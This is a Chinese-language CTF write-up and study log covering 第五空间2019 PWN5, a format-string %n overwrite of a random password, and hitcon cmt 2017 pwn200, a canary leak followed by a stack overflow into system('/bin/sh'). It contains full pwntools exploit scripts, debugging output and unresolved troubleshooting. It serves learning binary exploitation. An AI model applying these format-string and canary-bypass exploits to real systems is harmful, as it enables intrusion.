[第五空间2019 决赛]PWN5

image-20230217110900326

第一个感觉是 利用第一个name的输入把/dev/urandom的值修改了,然后passwd输入这个值就可以了

1
2
3
4
5
6
7
root@VM-24-10-ubuntu:/home/ubuntu/str/pwn5# checksec pwn
[*] '/home/ubuntu/str/pwn5/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

整体的思路是,

1.找到要修改的值的地址,把这个地址写入栈中

2.找到这个地址在栈中的位置,需要移动多少个位置能到这里

3.利用%n随便写入一个值即可

4.passwd输入对应的值即可

​ 首先,要修改的值的地址就是0x804c044,第一个问题解决.这个是因为ida在命名的时候如果没有符号表会用地址之类的命名,所以可以直接看出来..bss:0804C044 unk_804C044

​ 它的逻辑就是从/dev/urandom读取一个值到这个地址

寻找写入位置

寻找地址在栈中的位置可以进行尝试,或者利用gdb调试查看

pwndbg> r
Starting program: /home/ubuntu/str/pwn5/pwn
your name:aaaaaa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Hello,aaaaaaffffd548.63.0.f7ffda9c.3.f7fd0410.1.0.1.61616161.78256161.2e78252e.252e7825

可以看到,是第10个,

或者利用aaaa%10$x 来一个一个尝试 数字和$的组合代表了查看第几个值

your name:aaaa%10$x
Hello,aaaa61616161

写入具体的值

所以可以用

p32(0x804c044) + b”%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n” 将值写入,写入的值的大小是

6+8+9*8 = 86

算的不对,可以在调试的时候检查一下

1
2
pwndbg> x/wx 0x804c044
0x804c044: 0x0000004c

0x4 = 76

6 + 4 + 8*8 = 76 6是hello, 4是p32() 32位,四个字节

passwd输入对应的值

直接输入对应的数字即可 记得是biniay类型的

atoi函数会把字符转化成整数,但直接输入binary的数字也可以

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level= "debug"

io = process("./pwn")

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io,"break main")

pause()
payload = p32(0x804c044) + b"%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n"
io.sendline(payload)
pause()

io.sendlineafter('passwd:',b'76')

io.interactive()


去除调试信息版本,记得这里修改payload后,passwd的长度也变了,这里就只有p32的长度4

from pwn import *

context.log_level= "debug"

io = remote("node4.buuoj.cn",25184)


payload = p32(0x804c044) + b'%10$n'
io.sendlineafter('name:',payload)

io.sendlineafter('passwd:',b'4')

io.interactive()

总结

1.虽然开了NX和canary保护,但是不用栈溢出,所以不影响.这里不溢出的一个关键点大概是 name给的大小足够大?如果给小了可能是另外的了?

hitcon cmt 2017 pwn200

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
void canary_protect_me(){
system("/bin/sh");
}
int main(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf);
gets(buf);
return 0;
}

编译:gcc -m32 -z lazy -z nonexecstack -fstack-protector -no-pie pwn200.c -o pwn200

存在栈溢出,但是有保护nx和canary, 思路大概是覆盖返回地址为canary_protect_me,覆盖谁的返回地址呢?覆盖下一个gets的?不是这个逻辑,它还没有调用,没有返回值,那就是覆盖main函数的?

正确的逻辑是 泄露canary然后栈溢出覆盖返回值

所以问题是canary在哪? 这两句,第一句把canary赋值给eax然后赋值给 ebp -0xc | 回头专门研究下canary

1
2
0x804859e <main+29>    mov    eax, dword ptr gs:[0x14]
0x80485a4 <main+35> mov dword ptr [ebp - 0xc], eax

所以我们需要泄露 ebp - 0xc这个位置的值,然后就可以溢出,覆盖返回地址就可以了,但是调用printf的时候,ebp不会改变吗???

调试一下看看,不会…为啥呢?

1
2
3
4
5
一开始canary的位置  0xffffd5bc
0b:002c│ 0xffffd5bc ◂— 0x50b7d500
0c:00300xffffd5c0 —▸ 0xffffd5e0 ◂— 0x1
0d:00340xffffd5c4 ◂— 0x0
0e:0038│ ebp 0xffffd5c8 ◂— 0x0

和esp差了15个?

payload1 %15$x

然后栈溢出覆盖返回地址为canary_protect_me的 0x8048556 (p canary_protect_me 打印即可) 0x80491a2

payload2 40*’a’ + canary + 12 * ‘b’ + p32(0x8048556)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccddddeeeeeeeeeeeeeeee

这里有一个细节点,就是怎么正确接收canary,然后拼接上

是地址对其的问题吗?? 一直不成功

但是为什么用官方给的文件就可以?? https://bamboofox.cs.nctu.edu.tw/courses/3/challenges/61

是编译器的问题吗…调试一下看看

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#r = remote('bamboofox.cs.nctu.edu.tw',22002)
r = process("./binary_200")
func = 0x0804854d
r.sendline('%15$x')
canary = int(r.recv(), 16)

payload = b'A'*40 + p32(canary) + b'B'*12 + p32(func)

r.sendline(payload)
r.interactive()

这边联动pwntools调试也有问题…研究一下

正确的应该是这样

image-20230218143500025

不行的exp和这个感觉没啥区别,但是最后报错了<Could not read memory at 0x4242423e>

返回地址那里的问题感觉是

这个是有问题的,

image-20230218144242002

image-20230218144611364

这个是正常的

image-20230218144322352

image-20230218144344172

image-20230218144519430

文件已保存…后面可以再检查下……

hitcon cmt 2017 pwn300

https://bamboofox.cs.nctu.edu.tw/courses/3/challenges/62